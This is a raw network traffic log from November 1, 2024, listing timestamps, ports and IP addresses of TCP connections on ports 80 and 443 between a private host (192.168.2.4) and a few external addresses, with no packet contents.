Nov 1, 2024 08:51:45.340841055 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.340877056 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.340882063 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.340893984 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.340908051 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.340909004 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.340915918 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.340930939 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.340948105 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.341011047 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.341094017 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.341099977 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.341101885 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.341133118 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.341144085 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.344296932 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.344336987 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.344347000 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.344383955 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.344558954 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.344585896 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.344594955 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.344599962 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.344619036 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.344638109 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.344647884 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.344659090 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.344671011 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.344683886 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.344696999 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.344715118 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.360280037 CET	443	57852	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:45.360385895 CET	443	57852	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:45.360449076 CET	57852	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:45.383357048 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.383368969 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.383384943 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.383397102 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.383407116 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.383419037 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.383430004 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.383435965 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.383465052 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.383465052 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.628190041 CET	57852	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:45.628232956 CET	443	57852	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:45.628246069 CET	57852	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:45.628252029 CET	443	57852	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:45.925985098 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.930989027 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:45.931057930 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.949454069 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:45.954268932 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.838813066 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.838835955 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.838845968 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.838865995 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.838876009 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.838901043 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.838921070 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.838958979 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.838970900 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.838983059 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.838992119 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.838999033 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.839005947 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.839020967 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.839049101 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.843857050 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.843869925 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.843882084 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.843892097 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.843919039 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.843955040 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.997021914 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997081995 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997093916 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997106075 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997123003 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.997144938 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.997298956 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997317076 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997329950 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997342110 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997353077 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997361898 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.997378111 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.997920990 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997932911 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997951984 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997958899 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.997963905 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997977018 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.997987986 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.997987986 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.998013020 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.998792887 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.998804092 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.998816013 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.998831987 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.998843908 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.999181986 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.999202013 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.999213934 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.999238014 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:46.999258041 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.999273062 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:46.999336958 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.002424002 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.002435923 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.002446890 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.002469063 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.002480984 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.104980946 CET	57873	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:47.105003119 CET	443	57873	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:47.105083942 CET	57873	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:47.106559038 CET	57873	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:47.106570005 CET	443	57873	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:47.155164003 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155206919 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155220032 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155230999 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155242920 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155288935 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155297995 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.155355930 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155361891 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.155369043 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155380964 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155392885 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155412912 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155419111 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.155448914 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.155790091 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155806065 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155818939 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155836105 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.155862093 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.155867100 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155879974 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155889988 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155901909 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.155929089 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.155953884 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.156280994 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.156346083 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.156357050 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.156367064 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.156379938 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.156390905 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.156403065 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.156416893 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.156428099 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.156438112 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.156450033 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.156456947 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.156460047 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.156483889 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.156502008 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.156989098 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157114983 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157126904 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157138109 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157149076 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157155991 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.157160997 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157175064 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157176971 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.157187939 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157200098 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157208920 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157210112 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.157221079 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157233000 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.157241106 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157247066 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.157282114 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.157970905 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157984018 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.157994986 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.158024073 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.158034086 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.158046007 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.158056974 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.158071995 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.158083916 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.309041977 CET	57838	80	192.168.2.4	185.215.113.206
Nov 1, 2024 08:51:47.313283920 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313307047 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313319921 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313373089 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313376904 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.313384056 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313407898 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.313431978 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313442945 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313452959 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313468933 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.313482046 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313493967 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.313494921 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313518047 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313528061 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.313623905 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313663960 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.313679934 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313690901 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313700914 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313734055 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.313786030 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313796997 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313807964 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313818932 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.313822985 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.313848019 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.313978910 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314023018 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.314033985 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314049959 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314083099 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.314097881 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314122915 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314135075 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314157963 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.314177990 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314218998 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.314363003 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314415932 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314426899 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314450026 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.314465046 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314476967 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314497948 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.314832926 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314874887 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.314882040 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314896107 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314912081 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.314928055 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315089941 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315100908 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315113068 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315124989 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315141916 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315157890 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315165043 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315176010 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315187931 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315205097 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315207005 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315222025 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315222025 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315237045 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315248966 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315263033 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315268993 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315285921 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315608978 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315664053 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315679073 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315685987 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315692902 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315715075 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315717936 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315727949 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315740108 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315752983 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315754890 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315766096 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315782070 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315783978 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315805912 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315813065 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315825939 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315836906 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315849066 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315850019 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315865040 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315876961 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.315877914 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.315901995 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.316596031 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316637039 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.316653013 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316663980 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316675901 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316695929 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.316695929 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316709995 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316723108 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316734076 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.316756010 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316759109 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.316767931 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316780090 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316800117 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316802025 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.316812992 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316824913 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316836119 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.316844940 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316859961 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316865921 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.316873074 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.316894054 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.398423910 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.430984974 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.430998087 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431006908 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431018114 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431026936 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431036949 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431112051 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.431112051 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.431145906 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431157112 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431168079 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431179047 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431190014 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431195021 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.431236029 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.431324005 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431334019 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431344986 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431355000 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431363106 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.431395054 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.431478024 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431488991 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431498051 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431509018 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431520939 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431539059 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431540012 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.431545973 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.431550026 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.431574106 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.431591988 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:47.471709013 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:47.471786022 CET	80	57863	185.215.113.16	192.168.2.4
